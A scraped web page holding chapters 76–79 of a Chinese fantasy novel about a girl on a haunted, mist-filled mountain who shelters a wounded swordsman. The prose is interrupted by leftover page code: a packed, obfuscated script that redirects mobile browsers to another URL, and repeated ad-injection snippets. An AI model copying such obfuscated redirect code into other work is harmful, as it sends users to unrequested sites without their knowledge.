RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758685|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮帮他。” 小瑀:“……” 她真的要看不懂了:“你自己当鬼菩萨就好了,为什么也要把我扯进去,我是什么神仙吗!” 小瑀这次不想再顺着她了:“你看不出来吗,他是清醒的,清醒地走进来的,还偷偷跟着我,肯定没安好心,我不会帮他,更不要去招惹它们。” 女鬼看着她,似乎在消化她的一长串话,最后,女鬼点头,只身化作一道雾霭,冲向被白雾困住的人。 “喂——”小瑀重重地锤打在树干上,你为什么永远要为别人牺牲自己! 她咬着唇,感受着树下单方面碾压的缠斗,一片的霭是没有办法胜过无尽的雾的。 她点燃了那半截蜡烛丢进雾中。 火光眨眼就熄灭了,白雾像是被燎到一般,怒不可遏又无可奈何。它们又恨又怕地盯着小瑀看了一会儿,骂骂咧咧地离开。 地上的那人衣裳被割破了,脸上也挂了彩,虽说是很浅的划伤,但在山里,估计需要十天半个月才能好。 女鬼点在他的眉心,接着,他就从栩栩如真的噩梦中抽离出心神,心悸的汗水滑过眼角,带来针刺的疼痛。 他明白自己经历了什么,这座山有古怪,这些白雾更是阴毒,他进了一处不该进的地方。 刚刚,有人救了他。 与他而言是片刻又漫长的折磨,他忆起飘渺的眼前落下如星陨雨的微弱光点,抬头看去,用喑哑的声音道:“多谢相救,这位……姑娘。” 离他几尺高的树上,站着一位裹着好几层衣裳,不伦不类戴着黑羽毡帽的……他看不清长相,只能依稀看出来是个姑娘。 小瑀皱眉:“你在迟疑什么?” 他的眉眼弯起,居然被听了出来:“原先没看出来,实在是不好意思。” 小瑀扯动嘴角:“喂,你什么意思。” 虚弱苍白的少年捂着脸半张脸,忍着笑意:“你太圆滚了,我以为是什么……哈,小只的野兽。” 小瑀:“……” 长这么大以来,她第一次尝到这种气:“你说什么!” 女鬼喉咙憋着笑,咔咔地咳嗽:“早就说了,你那身打扮不行。” 小瑀怒了:“不会说人话就闭嘴,我会把你当哑巴。” 少年觉得她有点可爱,拱手认错:“是我冒犯姑娘了,望姑娘不要生气。” 生气?气你个大头鬼! 她低头看着自己穿了好几层的旧衣,虚胖了好几圈,上面顶着一个小小的脑袋,看起来是…… 不是!她不管! “你懂什么,这是御阴!” 他依旧笑着:“原先不知道,现在知道了,多谢姑娘告知。” “不用谢,所以,你是谁——”她这次记得应该先问什么了,恶声恶气说了个开头,被她飘上来的好姐姐打断。 “别的不说,这个更好看诶!” “……”她要翻白眼了,“你闭嘴。” 树下的少年疑惑:“我没有说话。” “我知道。” 难道人死变成鬼后会性情大变吗?还活着的时候那么稳重慈爱温柔的一个人,怎么现在一副色中饿鬼的样子? 色鬼还在问:“不好看吗?” 小瑀服了:“好看,好看行了没。” 色鬼笑嘻嘻:“我就知道你也会觉得好看的。” 少年四顾,如果不是在和他说话:“那你在和谁说话?” 和厚重的身子不协调的小脑袋瓜低下来,小瑀呲着牙,阴恻道:“鬼。” 76. 人和鬼 “鬼?这儿有鬼?”语调惊疑忽转镇定,他像是信了,靠着树撑着还软麻的身子骨,漫无边际地扫了一圈,最后落在她的右手边。 明明他不可能会看见,身边的女鬼还是怂怂地躲到了她的身后。 小瑀很想笑话她,嘴巴微张,就听见底下的人说:“凡天地之间,有鬼,非人死精神为之也,皆人思念存想之所致也。” “啊?”她移上毡帽,露出一双明媚的眼睛,“我没上过学堂也没读过书,所以说人话,不然我听不懂。” 还是头一次见到小姑娘这么理直气壮,外面的活人是这样的吗,他笑了:“没什么,随口说说。” 小瑀活脱一个无赖:“那就是你说完了,该轮到我说了。我问你,你是谁派来的,进寒山有什么目的。” 他听着环顾了眼周围,略带惊讶地反问:“这里,是寒山吗?” “喂,是我在问你好吗,懂不懂先来后到?” 女鬼很想打岔说这个词不是这么用的,但显然两个人之间不是她一个飘乎的雾霭所能插话的。 她从树上飘下来,绕了一圈绕到少年头顶,学着吊死鬼倒挂在树枝上。长长的白发犹如盛春的柳絮翩翩。 能把小瑀咽成这副要气炸的样子,有点本事,她对他生出点兴趣来。 少年在装傻,宛如听不懂小姑娘的话一样,还在问:“你为什么会想知道?” “唉,是我先问的好吗?” “嗯,这就是我的回答。” “你——”突变的僵持让小瑀哼哼冷笑,她不再同他多费口舌,“你不说是吧,好,很好!” 她被他挑起了脾气,一个来历不明的人摆什么架子,还是要像阿遥那样要死不活才能让人心安。 她愤愤地说:“混蛋,我帮了你一次绝不会再帮你第二次,你就在这里慢慢等死吧!” 小瑀从树上跳下来,落地的那一瞬间,她强压下抽吸的气音。 女鬼直起脑袋:“你以前不是抱着树干滑下来的吗?” 啊啊啊啊,看不出来她要在外人面前撑面子吗! 但她低估了自己不常见人的隐藏能力。寂静的山林里没有白雾的嬉闹,一丁点声息都会被听得一清二楚,更何况他们二人之间也离得不远。 身后懒散靠在树上的人掩面捂嘴,低声轻笑了出来。 小瑀气得眼睛都要着火了,跃身舞着爪子:“笑什么笑,再笑把你的舌头挖出来!” 少年滚着喉咙,忍下口中残余的笑意:“抱歉,抱歉。” 小瑀偷偷踮着脚底板,磨着牙威胁:“还有你,闭嘴啊。” 女鬼懂了:“你是死要面子活受罪。” 奚落完小姑娘,她又放下脑袋,扭曲的手臂挽起长发,摇晃着眼睛凑近细细端详他的脸。 成了鬼之后她的记性也差了起来,模模糊糊的,方才点醒他的时候没细看,只觉得这张脸有一种似曾相识的感觉。 不同于那些觊觎他的白雾所带来的寒意,轻柔的冷风吹过,他貌似有所察觉,仰面凝神,一人一鬼就这么对上眼睛。 他看不见,隐约感觉到眼前像是有一片云翳笼罩,很淡白的浅银织就的薄纱,恍如隔世而来,像雾像风像细雨。 他想起了还没进邳州之前,他在官道旁搭建的茶铺里歇息时所听见的传闻。 回天城是一座将死的镇,镇里有一座寒山,寒山里有雾有鸦…… 更有鬼。 他不禁眨了一下眼,年幼的桃花眼在眨合间,犹如合欢花枝飘落。 女鬼的面容柔和起来,慢慢地扬起笑脸,无声说了几个字,没让小瑀听见。 小瑀也不想听见。 “走了。”她和女鬼说。 然而总有人这么自作多情:“是在和我说吗,那我也走?” 小瑀翻了个白眼。 知道自己一个人在山里没有胜算,他抬脚跟上。也许是怕她直接甩了他,这次他给了一点点诚意来。 “我进来是为了找一个人,一个离家出走的人,他偷跑出来,兄弟和母亲都很着急。” 小瑀不说话。 女鬼戳她,告诉她要有礼貌。她只能在找路的间隙里问:“谁?” 他却换了个说法:“我想问问姑娘,这几日有没有见到过陌生人进山来。” “有,”她停下来,因为知道他会问什么,所以直接伸手指向他,“你。” 眉心微微皱起又松开,他并不意外这个答案,她有一股随心所欲的跳脱生命力:“那……除了我以外呢?” 毡帽下的脸平静得很:“没有活人。” 她也不算说了假话,躺在山洞里的阿遥和死了没差别。 他沉默了,悠长的视线似乎在思考她的话是否具有可信度。 显然没有。 小瑀抿着唇,被这样一张含笑的漂亮脸蛋凝视着,目光静穆幽远,她却很不安。 她没见过海,此时却听见了远海的风拍打岸石,她站在海崖之上,前后无路。 她觉得后怕。 心头止不住的突突跳动告诉她这个人很危险。 “这位……哥哥,”她打算换个法子,走迂回的战术,“我和你说了,我没见过其他人。” 这个称呼让他有点看不懂她了。眸光一转,他顺着她的话来,叫她:“可是这位妹妹,我不是很信呢。” 这位妹妹无语了,硬着头皮道:“你不信,你就自己去找。” 他笑着点头:“我会的,但山这么大,我总得慢慢来,很巧,我觉得我们可能同路。” 小瑀扯动嘴角:“呵呵,我也不信。” 他始终在跟着她,但就像他说的那样,山这么大,他们就是这么不凑巧地顺路了,所以她不能发作。 太不要脸了,山下的人一个个都这么不要脸的吗! 憋着一肚子火气,她的一步踏得比一步狠重,坚硬的黑土都被她踩出了鞋子印来。 女鬼知道她不高兴,但还是挨过去轻声提醒:“小瑀,天快黑了。” 小瑀:“我看见了,我马上就进屋子。” 寒山的天黑来得很早,夜里阴气极重,是白雾最为猖狂的时候,她要躲在屋子里。 女鬼纠结了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一小会儿,和她说:“小瑀,他是一个人。” “那咋了,一个人又怎样,是我的错吗?” “很危险的。” 小瑀来气了:“你没有听吗,他是来找人的,不是来找我帮他的。” 女鬼趴在她的肩头,凉冷的雾气穿过毡帽,贴上小瑀气得发热的耳朵:“熄熄火,不要这么不近人情。” 她咬着小瑀的耳朵:“听他的意思,他应该是来找阿遥的,要是他乱走的话,说不定真的能找到那个山洞,这样不行,阿遥的伤那么重,什么样的人家会把孩子折磨成那样子……” 她一边唠叨,一边心疼,都是在为别人家的孩子:“好不容易救了一口气回来,不能轻易让他被带回去,说不定回去就是送死呢?” 小瑀有一个很好的主意,冷漠回应:“等他死在这里就好了。” 女鬼叹气:“不要做恶人,他也是无辜的,小瑀你听我说,带他进去,帮他熬过这一晚,然后等天亮了再——” 她说得投入,没有发觉小瑀藏在毡帽下的眼睛已逐渐染上和黑羽一般的暗色,等到身后的少年出声说头顶的秃鸦如黑水漫林时,已然来不及。 雾霭惶恐地飘到小瑀面前,抬起她阴沉的脸蛋。 “小瑀……?”说出的声儿都带着颤音。 “你说够了没?”小瑀推开她,深黑的眼眸一如霜剑刺过,比头顶徘徊的秃鸦先来的,是脚下匍匐前行的白雾。 寂静无声的怨恨总是令它们着迷。 “我我我他他他,你管他们是谁家的孩子,你管他们是死是活,你要是这么喜欢管别人的家事,你去当他的鬼娘亲好了!”一天来的烦闷化作利刃,尽数捅向只有她能看见的雾霭中。 或许有白雾的催化,或许没有,反正她就这样轻而易举地败给了肮脏的情绪,天崩地裂也只需要一个转眼。 她平静地崩溃:“不要再跟着我了!” 女鬼讶然张开嘴:“可、可是除了你,不会再有第二个人看见我了,我只能让你——” 还是为了别人! “你知道你只有我,那你为什么要向着外人!” 她愤怒地打断她,抓着自己的毡帽,一把扯到眼角:“你连他们是好人坏人都不知道就要我去帮忙,凭什么啊,为什么啊……你为什么不长记性,你到底知不知道为什么会死在这里啊,为什么死了还走不掉,为什么为什么啊……姐姐,善心不是这么用,不是的……” 她按着起伏的胸口,渐低的尾音压过哭腔:“你滚啊,不要再跟着我,我也不想再看见你。” 少年看着不远处如瓷裂崩塌的小姑娘跑走,他静静地想了一会儿,沿着她的脚印走到她原本站立的地方,侧身对着只有雾气回荡的树林。 他从来不信鬼神。 在那个差点就死去的月夜中,他跪在血骨旁,半只脚已踏入黄泉边,他也没有低头去祈求神的怜悯。 可是在这一刻,他感应到了不可看不可说的悲怆。 耳边似乎传来风的梦呓。 “但是……你不会只有我……你也不能……只有我……” 77. 玉和敏 残破的屋顶,安静的屋子,一连几天,女鬼都没有再出现,她不会被早早吵醒,却不得不起来出门,看看一夜过去地上有没有躺着一个死人。 他还在。 山下的人不仅不要脸,还很有种。 他应该是知道只要走远点就会被白雾拦住,故而没有再妄图冲破它们,也没有冒然来求她收留,而是找了棵离屋子不远不近的高树。 “你真的很不怕死。”竟然敢睡在树上。 这个季节的寒山不会落雨,但夜里的白雾会像积雨的云,厚厚的,重重的,乘着那些秃鸦,一遍一遍地嘶啃摧残山里仅存的生气。 她仰起头,躺坐在树干上的人脸色比几个时辰前还要白惨。 他还没有醒,想来也是,蠢得直接上门来,还时不时往白雾堆里送的猎物,它们不会放过,也不会一下就玩死他。 某种意义上来说,他的出现救了另一个快死的人。 她收起那点善心,多话的鬼不在,她不会主动去关心他。 穿过潜伏迷障的树林,她站在山洞口。 里头缩在角落的一团雾霭看见她,像间隔几个月就会在山下见到的那束目光一样,欣喜,又畏怯。 那小小一团说:“他的烧退了。” 她没说话,走进来的时候带着冷,阿遥被惊醒,脸上的污血结痂限制了他的动作。 他竭力睁开眼睛,想透过血影看清靠在身上的人,用着没什么力气的嗓子说:“遥、遥、遥……” 梦话。 “我知道你叫什么,不用说这么多遍。” 如果她的耐心够足,再仔细听一听,就能听出他说的不是“遥”,而是“逃”。 “逃、逃、逃……” 这样短暂的清醒几乎要了他的全部精力,没有看清人也没有说清话,力竭之后又昏迷过去。 而她只想着今天也没死,命挺硬的。 小瑀站起来,默默地注视着雾霭。今天的女鬼,看起来就不太好了。 女鬼干干地笑了笑,像是下定了什么决心:“放心,我不会再……不会再继续缠着你的。” 小瑀心中原本想要放出的台阶立即收了回来,收紧了拳头,她也最会心口不一:“随便你。” 雾霭化作人形,游走到洞口,握着手心面含愧色,柔柔地道歉:“小瑀对不起啊,但这是最好的时候了,这也是我能想到最好的办法了,你能撑下去,我也一定要撑下去,很快的,相信我,相信娘亲……” 小瑀说不出来有什么地方难受,但又提不起精神,一个人走回到小屋前。 树干空了,少年坐在地上捂着心口喘息。 他的身边萦绕着不容忽视的白雾,它们比前几日更深白了。 他果然是很好的祭品。 她终于软下了心肠,在进屋前好心提醒:“喂,你再不走的话,会被它们吃掉的。” 他只是摇头:“你是在可怜我吗?” “我在说实话,你很不好。” 他笑了,阴气侵体,他有些不似着凉的难受,笑意经过咽喉,点点痒意让他忍不住闷声咳着:“说实话,你的气色也好不到哪里去。” “但我至少不会比你先死在这里,”小瑀指向越发逼近的白雾,“你知道你这几天出去探路的时候像什么吗,像个抛头露面的待嫁女郎,山里那些白雾郎君全都认识你了。” 她说:“今天多谢你,你这么虚弱,引来了几乎满山的白雾。你要是不死的话,它们不会甘心的。” 他自然也发现了,所以才会下树:“能借我一把火吗?” 他见识过她救他时用的手段,白雾应该是怕火的。但他进山太过匆忙,追踪着血迹还要避人耳目,没有想到要准备火折子。 “你疯了,”她看着他,告诉他,“烧一次是能庇护你躲过白雾,但同样的,白雾会报复,等它们修养好了就会回来。” “是吗,”他若有所悟,“你有烧过吗?” “有,我烧一点它们都会像恶狼扑食。那天帮了你,我现在的模样就是他们对我的报复。” “那我烧把大的。” “你是真疯了,一点也不怕死?” “你怕吗?” “我记事起就和它们打交道,你觉得我会不怕吗?” 他没有立即作答,而是和白雾对峙了会儿,转头询问:“你这儿有火石吗?” “……有。”简直对牛弹琴。 她进屋搬起床板,拿来垫床脚的火石:“真要烧吗?” 他反问:“如果我在的话,它们会找你吗?” “不会,”小瑀很诚恳,“你点燃的,它们只会记恨上你。” “那我来吧,就当是你救我的回报,等它们报复完,不管有没有找到他,我都会离开。” 这样的条件让她无法拒绝。 “一言为定。”小瑀立即把火石递了过去,生怕慢一点他就反悔了。 柴火堆外围了一圈的石头。 她不好奇他从哪里找来的这些湿乎乎的柴火,火石擦过的火星子落在干瘪的树枝上。 噼里啪啦的响动后,一缕缕黑乎乎的烟气上升,这一方小小的地盘弥散着很苦涩的气味。 不太稳定的焰火时而橙红,时而幽绿,时而暗蓝。 他还有闲情说笑:“原来诡异的山里,火都是怪异的。” 白雾被吓退了些,群聚在离他们最近的地方,难听歹毒的谩骂辱没充斥着薄薄的耳鼓,小瑀习惯了,像从前那样忍着,坐在他的对面。 她盯着他依旧没有血色的脸,突然开口问:“饿吗,不要误会,我知道你很久没吃东西了,我只是想告诉你不要问我要吃的,我有也不会给你。” 他陷在冰窖中,浑身又冷又暖,渐渐有一种失温的错觉,要依靠说话分散疲乏的注意:“因为你自己也不够是吗,为什么不能自己种?” “你以为我没试过吗,你看这样的山里,能有活物吗?” 破败的草屋后曾有过一小块开垦出的土地,她几岁无知的时候曾偷偷翻箱倒柜找出一袋种子,试图在这样的山里养出一点活物的存在。 点点嫩绿的芽头只冒出来一个时辰,就在白雾经过后黑枯死去。 寂寥的双眼也同当初枯萎的嫩芽一般绝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 望,她和他说:“这座山里最不缺的就是死亡,趁你还清醒,你还能出去——” “找不到他,我出去了也是死。” 小瑀无法理解,眉梢压下来:“难道要你性命的人就在山下等着?” “不是,在……家里。”如果那也算是家的话。 “哈……”小瑀缩着身子抱住膝盖骨,随口道,“那你不回去不就好了。” 桃花眼睁圆,他诧异问:“什、什么?” “这位哥哥,你应该是一个很聪明的人吧,没发现吗,你现在就和山外的飞鸟一样,”她说,“不要说什么会被找到,你看起来也不简单,大殷这么大,怎么会没有你的栖身之处,你找的那个人都敢逃,你不敢吗?” 他怔愣着,瞳仁微颤,因她的单纯和直白,甚至无心之论久久不能言语。 她好像总是戴着那顶奇怪的帽子,从黑羽下延展出的鬓发卷曲着,像藤蔓缠枝爬在脸颊,像雪中晕开的暗花,像那条没有尽头的回家路。 他像条狼一样被驯化太久,骨气和尊严都被钉死在铁杵上,忘了该如何挣脱早就不在的囚笼。 无法释然的惆怅化作苦笑从眼角流出。 “那你呢,你又为什么不出去,”他问,“你对这座山这么了解,为什么甘愿与毒雾为伴?” 她撅着嘴:“你从山下来,你问我?” “正因为从山下来,镇守这座山的难道不是山脚的时府吗?” “是。”她把脸藏在膝盖上。 “那你……” 她的声调冷下来:“不要多问,你没必要知道这些,知道了对你没有任何好处。” “好,”他不再问这个,又转而问别的,“我该叫你什么,总不能姑娘姑娘一直喊下去。妹妹?” “不要,”小瑀变了脸色,“我们不是这种关系,而且,我讨厌别人叫我妹妹。” “那能告诉你的名字吗?” “萍水相逢还需要知道名字吗?” “说不定我们以后还会遇见的,”他借着火光想看见有着蒲公草光晕的日月,“在山外。” “承你吉言,”她顿了顿,用很轻的声音说,“小瑀。” “小玉?” “嗯?嗯……是。”在不是玉的石头和玉间,她宁愿披上玉的假面。 “小玉姑娘。” “有来有回,我会告诉你我的。”他挑开火堆,捡起一根烧了一半的树枝,用尖端的木炭在大块的石头上写下一个字。 最后的几笔不凑巧,树枝断裂,余下一个模模糊糊的收尾。 太久没有见过这么热烈的火光了,映得小瑀眼睛发疼。 “那么空的石头面干嘛写这么小,”细了细眼睛,她问,“敏,敏吗?” “嗯?”他低头,石头上一个上下两截的字,不细看的话,的确是个敏。 他的半张脸烫热,忽地望向虚无缥缈的烟气。 静邃无尘地,青荧续焰灯。 他们坐在火的两面,两道陌生瘦弱的影子却依偎在摇曳的火光中。 没有任何的道理,他轻轻应了:“嗯,是敏。” 78. 作回报 他放下树枝,搭在双膝上的双手交叠着托起下巴,两人重合又迅速分离的目光在飘摇的火焰中好似晴风飘落的雨滴。 他看向她,颇有期待:“小玉姑娘,该叫人了,虽然这么说起起来很轻浮,但是……” 他笑了声:“叫声敏郎哥哥听听。” “敏……敏、敏……”郎字就在嘴角,可她就是叫不出来。 少年似是听出了她的为难,眯着眼笑:“叫不出来吗,是因为很少叫人吗?” 小瑀怒,一掌拍在地上,震起几枝的星火花:“废话,在你进来之前,整座山里只有我一个活人。” “所以才交到了一位鬼朋友吗,”他抬起头,望向灰白的天顶,“每日只能靠着鬼来聊以慰藉?” 原以为他不信的,没想到会主动提到那位不在的鬼。 她轻眨眼,移向另一侧:“我知道我看起来很像疯子。” “不,你不是,真正的疯子不是你这样的。” 小瑀接话:“难道你见过?” 他却不说了,嘴扬着笑,眼翘着笑,心里大约是没有笑的:“之前‘这位哥哥’不是叫得很流畅吗,带上人名就不行了吗?” 极其刻意地回转,他故意回到原先中断的地点。 她也听出来了。礼尚往来,他不刨根究底她不能离山的缘由,她也要允许别人有秘密。 “不一样。”她说。 “有什么不一样,”好奇的人最会得寸进尺了,他静了会儿,继而惊讶开口,“啊,是怕叫出我的名字后,会被什么奇怪的东西纠缠上吗?” 小瑀翻着嘴皮:“你在说什么,这座山里那么多的妖魔鬼怪我都不怕,我还能怕什么!” “敏……咳……”小瑀闭上眼睛,牙一咬,心一沉,“敏、敏郎哥哥。满意了没!” 虽然四个字里头三个字都低得好似螫虫嗡叫。 “哈……哈哈哈哈哈……满意了满意了,”大笑牵动了胸中无痕的内伤,一口腥甜涌上喉间,他含在舌下,“不能再逼你了。” 小瑀呲牙:“呵呵。” “呵呵。”他鹦鹉学舌般哼哼了两声,不过可比她笑得好听多了。 在入山之前,他从未想过寒山还能有人活着。 无声无名,薄如蝉翼,一个从未出生过的人,活在坟墓里,睡在棺木中,会生气也会笑。 假笑也算笑。 他忽然问:“没有人陪着,在这样到处都是鬼蜮的山中,你不会孤独吗?” 小瑀抿着唇,挤出的鲜红血色让她看起来没有那么可怜:“我不知道。你呢,在山外有人陪着,就不会孤独了吗?” “我……”拳头握紧又松开,暴起又平和的青筋脉络是他迟疑的写照,“我也不知道。” 就此相看无言。 不知从那一刻起,火光变暗了,尽管还剩很多未燃。 小瑀清楚,这堆火用尽了。 他却不清楚。 正想起身添柴,火堆却炸开。 爆裂声惊响的瞬间,他倒下了。 咚——的一声沉闷响,敏郎哥哥像死人一样直板板地倒在地上。 小瑀抬起眼皮,周围的白雾嘀嘀咕咕地说了什么,没有急着扑上来。 他没有死。 他运气不好,鲁莽地闯进寒山,还被白雾看上;又运气挺好,迷路都撞上她。 只是可惜了,这样的大火都驱散不了的白雾在附近虎视眈眈,想来他也不可能毫发无损地全身而退。 小瑀吹着一撮被帽檐压卷的碎发,心想他估计要渡劫了。 头顶的天还没彻底暗下来,但对于敏郎哥哥而言已是他的黑夜。只是此夜到底有多黑多深,只有他自行体会了。 一缕微弱的黑烟一寸寸地浮起,与乌白的天际相衔,柴木烧尽了最后一块,她走过去蹲下,手臂穿过膝盖,守在他的身边。 僵硬地握住他渐渐凉下去的手掌,呵出一口不算太暖的气息,用自己虚肿的身子,为他抵御住一部分不可见的风霜。 “不要多想,”她自然是为了自己,嘱咐着已入梦的人,“丢了几魂几魄我都不管,别死在里面就成,不然那些白雾只能来找我报复了……” 他慢慢掀起眼,抬起早已被冻得无知无觉的双臂。风雪作被,原来从云端坠至泥潭只需一个日夜。 几岁的孩子只着一件单衣,在半夜的冰冻山中,北风在他的脸上凿刻下一道又一道的裂痕。血丝冻在里头,结上薄冰,难以愈合。 他从半人高的积雪中爬出来,僵红的手掌捧起掺杂着碎冰的雪,搓上通红的鼻头,搓得脸颊的伤口开裂。 疼痛都是麻木的,像是隔着好几层的皮肉。 忽然,他闻到了血的气味。 不算太糟。 粒粒红雪子粘连着脸,他走到山路边,抱着被大雪压弯的树枝,去寻已没有他容身之处的镜水山庄。 曲折的半山中,楼阁灯火通明。 他的二叔总是这样的偷懒,因为自负狂妄,认定他必死无疑,所以都没有把他丢得远一些,再远一些。 他们可能也想不到他能熬过迷药醒来。 他咬破了唇,流下了泪,一拳打在树干上。 树梢不堪重负,脱下几尺深的厚雪,尽数压在他的肩头。睁眼闭眼的白茫茫里,他失去了所有反抗的力气。 宋无说得对,血亲双死,亲近的三叔消沉度日,唯一能倚靠的二叔视他为阻碍,他早该跑了。 可天地那么大,他又该跑到哪里去呢? 死在这里也未尝不可…… “宋繁声。” 谁? “还活着吗?” 活着。 “如果我能让你报仇,你愿意跟我走吗?” 什么? 此时絮雪遮眼,片片如飞花,年幼的宋繁声艰难地从雪堆中站起来,看见白山黑水中有人一身灰白长袍兜帽,信步而来。 很难说他是遇见了救苦救难的观世音,还是断罪判罚的阎罗王。 “你要帮我,”在自己的家中寄人篱下活了几年,他也懂了世事有价。抹开脸上的雪粒子,他虚弱地问,“你要什么?” “我啊……” 五六岁的孩子茁茁不屈地站在白皑中,半身鲜血淋漓,如梅树掉落枯叶,空留的一束艳红花枝。 没有那一年的溅血成海,却依旧刺得她目眦欲裂。 已经多年不曾流泪的眼泛起酸涩,泪珠从心口滴滴落下,犹如雨打芭蕉,五脏六腑都生疼。 她闭了闭眼,说:“认识李长庚吗?” 他犹豫地点头。 “很好,那么宋繁声,我们做笔交易吧,”她沉下的声像被火烧过,“我会教你如何报仇,作为回报,你要成为我的利刃。我需要一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柄剑。” 他不解:“为什么要帮我?” 她说:“我认识你的母亲,算是故友。” 故友?什么样的故友不会出现在母亲的灵堂上。 他警觉:“你姓什么?” “我,”兜帽下的女子无声笑了,“我姓赵。” “我没有听母亲提起过,我只听说过一位,姓林,叫——” “闭嘴,”她冷冷制止,“没提起又如何,眼下愿意来救你的,只有我一个。” 事实就是这般残忍,宋繁声沉默了。 “没有拒绝我就当你答应了。先和你说一声,我有很多孩子,他们都称呼我为母亲,”她想着,拍开他头顶与黑发作结的冰层,“你的话,你父母应该不愿意,你也不会愿意……那就算作例外。” “你叫我姨母吧……毕竟我和你的母亲,还有另一个人,能算作姐妹。” 看不清面孔的女子朝他伸出了手,带他走出越陷越深的雪潭:“其实你根本不用在乎宋远徽,他只是一个没有用的废物,等你再长大些,就会知道恨他毫无用处。你该去恨去杀的,从不是他。” 他被她牵着手,听着剩余半夜的旅途。 “李长庚那个伪君子……他这几日在逍遥阁下棋,你就去那儿躺着,等着他出来救你,你要去做天下第一剑的关门弟子。” “不用担心,你是故人之子,他会收留你的。” “他算不上什么好人,但算得上是个好剑客,姑且会当个好师父吧,你和他好好学,学好了才能在江湖立足。” “你和我,我们很快就会再见面的,到时候就是你要兑现承诺的时候了……” 她忽地低首,兜帽下满面的刀疤似沟壑,渗出不尽的涓涓血流,拧成斩不断的血麻绳,绑住了他的归路。 从一个地狱到另一个炼狱。 几年前的梦魇犹在耳畔:“要去温故一番吗,我的好外甥?” “不、不……啊哈——” 比五岁那夜惊天动地的冷飞白还要冷冽的手背覆在额头。寒与寒相抵,他在一座世人忌讳的死山深处,在一颗无人问津的蒙尘玉石身上,找到了冬末春初的温煦。 “你醒了,还好吗?” 飞散的魂魄归拢,飘拂的心随之而落,宋繁声下意识握上她的手腕:“嗯……没事。” 几日前才经历过相似的浩劫,他知道自己又着了白雾的道。 “我有说了什么吗?”他接着问。 “没有,”累的时候小瑀没有欺负别人的心思,况且他的眼睛这么润,定是梦得很惨,她决定实话实说,“你的睡相很好。 他的手心发力:“你又救了我一次。” 小瑀盯着自己被握住的手:“嗯。” “我应该要回报你,但我只会杀人。你有想要杀死的人吗?” 她回了神:“……有。” “那下山了以后,我帮你杀了他。” “不用,我会自己报仇。”小瑀抽回了手。 他的眼里闪过愕然。 不曾对母亲说起过,也不曾告诉女鬼,她也会有这样的抱负和决心:“你觉得惊人?那你小看我了。” 人不静,恨即起,鸦即鸣,雾不休。 人声如怨铃撞山,直到音竭,才连同白雾欲动的恨归于平静。 “我自己的恨,我自己的仇,我会自己报。” 79. 才离别 这一日过去后,两人之间莫名抵达了一种仅有彼此知晓的默契。 换过并非真实名字的交情,小玉进屋出屋前会抬头看一眼被白雾纠缠的人是否还活着,敏郎会荡着一条腿,出声和她说话。 晨好,午好,晚好。 小瑀好心地留下一点食物,见她打算走远,宋繁声就支起身子坐起来缓一会儿,擦去脸上被冷风织就的薄霜。 他不会多问,只会喊一句“路上小心”。 他知道她要去哪儿,也知道他要找的人被藏了起来。深究下来大抵也算不上是藏,就是她直接把人放在哪一棵树下,他都不一定能找到。 当然,他大可跟上她。 他不会这么做,他要信守诺言。 等到轻飘飘的影子都被白雾湮没,他从树上跳下来,拂去衣裳的雾气,转身相迎白雾的环抱。 倘若此地非寒山,也许会有隐于世外的岁月静好。宋繁声偶尔也会这般认为,直至这一日。 阿遥醒了。 小瑀站在山洞外挡住了细弱的天光,一缕虚微又炽热的目光落在她身前。 女鬼不在。 一团渺茫的雾霭,在这座山中,永远要比她这个人来得自由。 小瑀走了进去,一直躺在血污中的人今日清醒不少。脸上挂着不少干涸的血渍,眼睛周围倒是少了很多。 他能看清她了。 阿遥靠在石壁上,连呼气都费劲的病人努力地睁开酸疼的眼睛。 小瑀没错过他的小动作,正想嘲讽,就听见他说了进山来的唯二话语。 粗粝的嗓子像是被石轮反复碾过,她才注意到他的颈项上有两道深勒的血痕。 “你不像雪人,像肿肿的稻草人。” 小瑀一句话都不想说,她近来对这些称呼接受良好。 最后是便他倒下时还不忘说的:“谢谢。” 她现在想说了,有病。 哪有人醒来不问自己在哪儿,反而浪费宝贵的时间来说这些无关轻重的话。 还好,他只是昏了过去。 小瑀单膝跪地摸上他的手腕,脉搏比前几日好多了,但和正常的人相比,还是太微弱。 不吃不喝太多日,铁打的身子也受不了。 她拿出水壶强硬地喂了点水下去,留下一小块干得不能再干的饼,而后潇潇洒洒地离开。 她是稻草人,她要守家。 另一处,女鬼飘到了迷失在山中的少年身边。 寻树走山路是个好法子,小瑀以前也试过。 他走走停停,几番欲言又止,终是忍不住开了口:“前、前辈。” “啊?”女鬼当即转着脑袋看了一圈。有人,哪里有人,小瑀过来了? 宋繁声咬着牙:“不用看其他的,我在说您。” 接连几日呆在山里和白雾作伴,他也要开始相信那些虚无的神鬼了。 女鬼指着自己,不太确定:“你说你在叫我,你能……看见我?” “嗯,”宋繁声扭过脸,“您能不能别再跟着我了,很吓人……” 女鬼扑哧笑出声,自言自语:“有这么吓人吗,小瑀之前也是这么说的。” “看来你也被白雾影响到了,这山还真是一视同仁啊,”她停了笑,飘近了,“既然你能看见我,那帮帮我好吗,繁声。” 宋繁声被惊得差点失语,一时间戒心四起。他是有防身的武器在,可是武器能对付非人之物吗? 不能。 他压下眉眼,谨慎问:“您认识我?” “怎么会不认识呢,”女鬼停在他的手边,宛如相熟的长辈一般慈爱地摸着他的脑袋,“你母亲怀你时,你父亲就在我们面前炫耀过了,等你出生了,他还特地传信过来,只是很可惜,我们未能见上一面。” 谁能想到未见的一面会成永诀……那些可遇不可求的往事都成为奔涌的流水,一去不回头。 凑不齐的人,解不了的恨,破不了的局。 女鬼有了近似于人的心裂,哀恸让她的五官越发真实,空洞的眼眶中,蓄起一滴硕大的泪珠…… “夏雨眠写了什么,”欢喜的声音催促着,娇俏的姑娘跳过来,“和我说说,和我说说!” 